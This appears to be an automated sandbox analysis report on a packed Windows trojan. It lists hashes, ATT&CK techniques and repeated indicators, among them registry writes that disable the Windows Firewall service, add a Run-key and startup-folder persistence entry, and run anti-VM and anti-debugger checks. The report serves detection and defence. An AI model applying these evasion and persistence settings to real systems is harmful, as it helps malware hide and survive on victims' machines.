dadd40388f9a905045d64f97926682305814135365ca274f5bc83ce27f71abd0

Analysis

max time kernel
165s
max time network
177s
platform
windows10-2004_x64
resource
win10v2004-en-20220112
submitted
11-02-2022 23:43

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

dadd40388f9a905045d64f97926682305814135365ca274f5bc83ce27f71abd0.exe
Size

3.5MB
MD5

dec26ba8f682fe0dc0608af5e882544a
SHA1

a7298d5c29445ad9d34eee31bd89a9962915f84b
SHA256

dadd40388f9a905045d64f97926682305814135365ca274f5bc83ce27f71abd0
SHA512

1caf7547171a4365dc16bd3b6d491145dfef84b38d85852a7881ba976a271d901c0d2d469c7992057e5b5b473f3116863ee7a8a9ec8b26a02f8f37e76042286c

Score

10^/10

evasion persistence themida trojan

Malware Config

Signatures

Modifies security service 2 TTPs 1 IoCs
evasion

Modify Registry
T1112

Modify Existing Service
T1031

Processes:

powershell.exe

description ioc process

Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\mpssvc\Start = "4" powershell.exe
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497
Downloads MZ/PE file

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\mpssvc\Start = "4"	powershell.exe

Executes dropped EXE 39 IoCs

Processes:

Database.exeUpSys.exeDatabase.exeDatabase.exeUpSys.exeDatabase.exeDatabase.exeUpSys.exeDatabase.exeDatabase.exeDatabase.exeDatabase.exeDatabase.exeDatabase.exeDatabase.exeDatabase.exeDatabase.exeDatabase.exeDatabase.exeDatabase.exeDatabase.exeDatabase.exeDatabase.exeDatabase.exeDatabase.exeDatabase.exeDatabase.exeDatabase.exeDatabase.exeDatabase.exeDatabase.exeDatabase.exeDatabase.exeDatabase.exeDatabase.exeDatabase.exeDatabase.exeDatabase.exe

pid	process
1016	Database.exe
3812	UpSys.exe
3888	Database.exe
2804	Database.exe
3488	UpSys.exe
1800	Database.exe
1360	Database.exe
4000	UpSys.exe
2848	Database.exe
1828	Database.exe
3236	Database.exe
3452	Database.exe
3288	Database.exe
1944	Database.exe
1940	Database.exe
1920	Database.exe
540	Database.exe
2804	Database.exe
2252	Database.exe
660	Database.exe
1188	Database.exe
1944	Database.exe
3248	Database.exe
3812	Database.exe
3284	Database.exe
1576	Database.exe
1288	Database.exe
508	Database.exe
3472	Database.exe
796	Database.exe
2800	Database.exe
3988	Database.exe
864	Database.exe
3268	Database.exe
2560	Database.exe
3228	Database.exe
3516	Database.exe
3968	Database.exe
1224	Database.exe

Modifies Windows Firewall 1 TTPs
evasion

Modify Existing Service
T1031

Checks BIOS information in registry 2 TTPs 64 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

Database.exeDatabase.exeDatabase.exeDatabase.exeDatabase.exeDatabase.exedadd40388f9a905045d64f97926682305814135365ca274f5bc83ce27f71abd0.exeDatabase.exeDatabase.exeDatabase.exeDatabase.exeDatabase.exeDatabase.exeDatabase.exeDatabase.exeDatabase.exeDatabase.exeDatabase.exeDatabase.exeDatabase.exeDatabase.exeDatabase.exeDatabase.exeDatabase.exeDatabase.exeDatabase.exeDatabase.exeDatabase.exeDatabase.exeDatabase.exeDatabase.exeDatabase.exeDatabase.exeDatabase.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Database.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Database.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Database.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	Database.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Database.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Database.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	dadd40388f9a905045d64f97926682305814135365ca274f5bc83ce27f71abd0.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	Database.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Database.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	Database.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Database.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	Database.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	Database.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	dadd40388f9a905045d64f97926682305814135365ca274f5bc83ce27f71abd0.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Database.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	Database.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	Database.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Database.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Database.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	Database.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	Database.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Database.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Database.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Database.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	Database.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Database.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	Database.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Database.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	Database.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Database.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Database.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Database.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	Database.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Database.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Database.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Database.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Database.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	Database.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Database.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	Database.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	Database.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	Database.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	Database.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	Database.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	Database.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Database.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	Database.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Database.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Database.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	Database.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	Database.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	Database.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Database.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	Database.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Database.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Database.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Database.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	Database.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	Database.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	Database.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	Database.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Database.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	Database.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Database.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

dadd40388f9a905045d64f97926682305814135365ca274f5bc83ce27f71abd0.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-790714498-1549421491-1643397139-1000\Control Panel\International\Geo\Nation	dadd40388f9a905045d64f97926682305814135365ca274f5bc83ce27f71abd0.exe

Drops startup file 1 IoCs

Processes:

dadd40388f9a905045d64f97926682305814135365ca274f5bc83ce27f71abd0.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\exe.lnk	dadd40388f9a905045d64f97926682305814135365ca274f5bc83ce27f71abd0.exe

Themida packer 3 IoCs

Detects Themida, an advanced Windows software protection system.

themida

Processes:

resource	yara_rule
behavioral2/memory/956-130-0x00007FF659330000-0x00007FF659C9F000-memory.dmp	themida
behavioral2/memory/956-132-0x00007FF659330000-0x00007FF659C9F000-memory.dmp	themida
C:\ProgramData\MicrosoftNetwork\System.exe	themida

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

powershell.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WinNet = "C:\\ProgramData\\MicrosoftNetwork\\System.exe"	powershell.exe

Checks whether UAC is enabled 1 TTPs 35 IoCs

evasion trojan

System Information Discovery

T1082

Processes:

Database.exeDatabase.exeDatabase.exeDatabase.exeDatabase.exeDatabase.exeDatabase.exeDatabase.exeDatabase.exeDatabase.exeDatabase.exeDatabase.exeDatabase.exeDatabase.exeDatabase.exeDatabase.exeDatabase.exeDatabase.exeDatabase.exeDatabase.exeDatabase.exeDatabase.exeDatabase.exeDatabase.exeDatabase.exeDatabase.exeDatabase.exeDatabase.exeDatabase.exeDatabase.exedadd40388f9a905045d64f97926682305814135365ca274f5bc83ce27f71abd0.exeDatabase.exeDatabase.exeDatabase.exeDatabase.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Database.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Database.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Database.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Database.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Database.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Database.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Database.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Database.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Database.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Database.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Database.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Database.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Database.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Database.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Database.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Database.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Database.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Database.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Database.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Database.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Database.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Database.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Database.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Database.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Database.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Database.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Database.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Database.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Database.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Database.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	dadd40388f9a905045d64f97926682305814135365ca274f5bc83ce27f71abd0.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Database.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Database.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Database.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Database.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Drops file in System32 directory 1 IoCs

Processes:

powershell.exe

description	ioc	process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache	powershell.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 64 IoCs

Processes:

dadd40388f9a905045d64f97926682305814135365ca274f5bc83ce27f71abd0.exeDatabase.exeDatabase.exeDatabase.exeDatabase.exeDatabase.exeDatabase.exeDatabase.exeDatabase.exeDatabase.exeDatabase.exeDatabase.exeDatabase.exeDatabase.exeDatabase.exeDatabase.exeDatabase.exeDatabase.exeDatabase.exeDatabase.exeDatabase.exe

pid	process
956	dadd40388f9a905045d64f97926682305814135365ca274f5bc83ce27f71abd0.exe
1016	Database.exe
1016	Database.exe
1016	Database.exe
3888	Database.exe
3888	Database.exe
3888	Database.exe
2804	Database.exe
2804	Database.exe
2804	Database.exe
1800	Database.exe
1800	Database.exe
1800	Database.exe
1360	Database.exe
1360	Database.exe
1360	Database.exe
2848	Database.exe
2848	Database.exe
2848	Database.exe
1828	Database.exe
1828	Database.exe
1828	Database.exe
3236	Database.exe
3236	Database.exe
3236	Database.exe
3452	Database.exe
3452	Database.exe
3452	Database.exe
3288	Database.exe
3288	Database.exe
3288	Database.exe
1944	Database.exe
1944	Database.exe
1944	Database.exe
1940	Database.exe
1940	Database.exe
1940	Database.exe
1920	Database.exe
1920	Database.exe
1920	Database.exe
540	Database.exe
540	Database.exe
540	Database.exe
2804	Database.exe
2804	Database.exe
2804	Database.exe
2252	Database.exe
2252	Database.exe
2252	Database.exe
660	Database.exe
660	Database.exe
660	Database.exe
1188	Database.exe
1188	Database.exe
1188	Database.exe
1944	Database.exe
1944	Database.exe
1944	Database.exe
3248	Database.exe
3248	Database.exe
3248	Database.exe
3812	Database.exe
3812	Database.exe
3812	Database.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Modifies data under HKEY_USERS 51 IoCs

Processes:

UpSys.exepowershell.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	UpSys.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	UpSys.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	UpSys.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	UpSys.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	UpSys.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.exedadd40388f9a905045d64f97926682305814135365ca274f5bc83ce27f71abd0.exeUpSys.exe

pid	process
636	powershell.exe
636	powershell.exe
956	dadd40388f9a905045d64f97926682305814135365ca274f5bc83ce27f71abd0.exe
956	dadd40388f9a905045d64f97926682305814135365ca274f5bc83ce27f71abd0.exe
956	dadd40388f9a905045d64f97926682305814135365ca274f5bc83ce27f71abd0.exe
956	dadd40388f9a905045d64f97926682305814135365ca274f5bc83ce27f71abd0.exe
956	dadd40388f9a905045d64f97926682305814135365ca274f5bc83ce27f71abd0.exe
956	dadd40388f9a905045d64f97926682305814135365ca274f5bc83ce27f71abd0.exe
956	dadd40388f9a905045d64f97926682305814135365ca274f5bc83ce27f71abd0.exe
956	dadd40388f9a905045d64f97926682305814135365ca274f5bc83ce27f71abd0.exe
956	dadd40388f9a905045d64f97926682305814135365ca274f5bc83ce27f71abd0.exe
956	dadd40388f9a905045d64f97926682305814135365ca274f5bc83ce27f71abd0.exe
956	dadd40388f9a905045d64f97926682305814135365ca274f5bc83ce27f71abd0.exe
956	dadd40388f9a905045d64f97926682305814135365ca274f5bc83ce27f71abd0.exe
956	dadd40388f9a905045d64f97926682305814135365ca274f5bc83ce27f71abd0.exe
956	dadd40388f9a905045d64f97926682305814135365ca274f5bc83ce27f71abd0.exe
956	dadd40388f9a905045d64f97926682305814135365ca274f5bc83ce27f71abd0.exe
956	dadd40388f9a905045d64f97926682305814135365ca274f5bc83ce27f71abd0.exe
956	dadd40388f9a905045d64f97926682305814135365ca274f5bc83ce27f71abd0.exe
956	dadd40388f9a905045d64f97926682305814135365ca274f5bc83ce27f71abd0.exe
956	dadd40388f9a905045d64f97926682305814135365ca274f5bc83ce27f71abd0.exe
956	dadd40388f9a905045d64f97926682305814135365ca274f5bc83ce27f71abd0.exe
956	dadd40388f9a905045d64f97926682305814135365ca274f5bc83ce27f71abd0.exe
956	dadd40388f9a905045d64f97926682305814135365ca274f5bc83ce27f71abd0.exe
956	dadd40388f9a905045d64f97926682305814135365ca274f5bc83ce27f71abd0.exe
956	dadd40388f9a905045d64f97926682305814135365ca274f5bc83ce27f71abd0.exe
956	dadd40388f9a905045d64f97926682305814135365ca274f5bc83ce27f71abd0.exe
956	dadd40388f9a905045d64f97926682305814135365ca274f5bc83ce27f71abd0.exe
956	dadd40388f9a905045d64f97926682305814135365ca274f5bc83ce27f71abd0.exe
956	dadd40388f9a905045d64f97926682305814135365ca274f5bc83ce27f71abd0.exe
956	dadd40388f9a905045d64f97926682305814135365ca274f5bc83ce27f71abd0.exe
956	dadd40388f9a905045d64f97926682305814135365ca274f5bc83ce27f71abd0.exe
956	dadd40388f9a905045d64f97926682305814135365ca274f5bc83ce27f71abd0.exe
956	dadd40388f9a905045d64f97926682305814135365ca274f5bc83ce27f71abd0.exe
956	dadd40388f9a905045d64f97926682305814135365ca274f5bc83ce27f71abd0.exe
956	dadd40388f9a905045d64f97926682305814135365ca274f5bc83ce27f71abd0.exe
956	dadd40388f9a905045d64f97926682305814135365ca274f5bc83ce27f71abd0.exe
956	dadd40388f9a905045d64f97926682305814135365ca274f5bc83ce27f71abd0.exe
956	dadd40388f9a905045d64f97926682305814135365ca274f5bc83ce27f71abd0.exe
956	dadd40388f9a905045d64f97926682305814135365ca274f5bc83ce27f71abd0.exe
956	dadd40388f9a905045d64f97926682305814135365ca274f5bc83ce27f71abd0.exe
956	dadd40388f9a905045d64f97926682305814135365ca274f5bc83ce27f71abd0.exe
956	dadd40388f9a905045d64f97926682305814135365ca274f5bc83ce27f71abd0.exe
956	dadd40388f9a905045d64f97926682305814135365ca274f5bc83ce27f71abd0.exe
956	dadd40388f9a905045d64f97926682305814135365ca274f5bc83ce27f71abd0.exe
956	dadd40388f9a905045d64f97926682305814135365ca274f5bc83ce27f71abd0.exe
956	dadd40388f9a905045d64f97926682305814135365ca274f5bc83ce27f71abd0.exe
956	dadd40388f9a905045d64f97926682305814135365ca274f5bc83ce27f71abd0.exe
956	dadd40388f9a905045d64f97926682305814135365ca274f5bc83ce27f71abd0.exe
956	dadd40388f9a905045d64f97926682305814135365ca274f5bc83ce27f71abd0.exe
956	dadd40388f9a905045d64f97926682305814135365ca274f5bc83ce27f71abd0.exe
